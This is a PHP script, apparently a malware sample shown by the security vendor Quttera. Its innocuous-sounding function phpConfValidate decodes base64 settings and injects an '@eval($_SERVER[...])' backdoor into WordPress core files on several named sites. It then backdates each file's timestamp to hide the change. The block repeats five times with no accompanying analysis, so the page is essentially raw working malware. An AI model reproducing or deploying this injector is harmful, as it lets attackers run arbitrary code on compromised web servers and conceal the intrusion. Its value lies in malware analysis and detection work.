phpConfValidate('YTo0OntpOjA7czo1MzoiL2hvbWUvc2VuYXF2Zm4vc3BvcnR0b2RheS5jby51ay93cC1pbmNsdWRlcy90aGVtZS5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfQkE3MzRFRVtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0JBNzM0RUUnXSk7IjtpOjM7czo0Njoifl5ccypmdW5jdGlvblxzK2dldF9zdHlsZXNoZWV0X2RpcmVjdG9yeV91cml+bSI7fQ==');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('eval', '@?array', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
phpConfValidate('YTo0OntpOjA7czo1MjoiL2hvbWUvc2VuYXF2Zm4vc3BvcnR2aWV3ZXJzLmNvbS93cC1pbmNsdWRlcy91c2VyLnBocCI7aToxO3M6OTg6In5ldmFsW15cKFxuXHJdKlwoW15cJF0qXCRfW0EtWl17Nn1bXlxbXSpcW1teXCdcIl0qW1wnXCJdSFRUUF9DOTA0MDZGW1wnXCJdW15cXV0qXF1bXlwpXSpcKVteO10qO35zIjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfQzkwNDA2RiddKTsiO2k6MztzOjM0OiJ+XlxzKmZ1bmN0aW9uXHMrdXBkYXRlX3VzZXJfbWV0YX5tIjt9');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('eval', '@?array', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
phpConfValidate('YTo0OntpOjA7czo1NToiL2hvbWUvc2VuYXF2Zm4vc3BvcnR1cGRhdGVzLmNvLnVrL3dwLWluY2x1ZGVzL3F1ZXJ5LnBocCI7aToxO3M6OTg6In5ldmFsW15cKFxuXHJdKlwoW15cJF0qXCRfW0EtWl17Nn1bXlxbXSpcW1teXCdcIl0qW1wnXCJdSFRUUF9BNjNDMzE3W1wnXCJdW15cXV0qXF1bXlwpXSpcKVteO10qO35zIjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfQTYzQzMxNyddKTsiO2k6MztzOjM1OiJ+XlxzKmZ1bmN0aW9uXHMraXNfcHJpdmFjeV9wb2xpY3l+bSI7fQ==');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('eval', '@?array', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
phpConfValidate('YTo0OntpOjA7czo1NToiL2hvbWUvc2VuYXF2Zm4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2FwYWJpbGl0aWVzLnBocCI7aToxO3M6OTg6In5ldmFsW15cKFxuXHJdKlwoW15cJF0qXCRfW0EtWl17Nn1bXlxbXSpcW1teXCdcIl0qW1wnXCJdSFRUUF9GNUMzODE4W1wnXCJdW15cXV0qXF1bXlwpXSpcKVteO10qO35zIjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfRjVDMzgxOCddKTsiO2k6MztzOjI2OiJ+XlxzKmZ1bmN0aW9uXHMrd3Bfcm9sZXN+bSI7fQ==');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('eval', '@?array', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
phpConfValidate('YTo0OntpOjA7czo1NjoiL2hvbWUvc2VuYXF2Zm4vZGFpbHlzcG9ydG5ld3MuY28udWsvd3AtaW5jbHVkZXMvbDEwbi5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfNDgzQjEwQ1tcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQXzQ4M0IxMEMnXSk7IjtpOjM7czozNDoifl5ccypmdW5jdGlvblxzK2RldGVybWluZV9sb2NhbGV+bSI7fQ==');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('eval', '@?array', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
© 2023 Quttera Ltd. All rights reserved.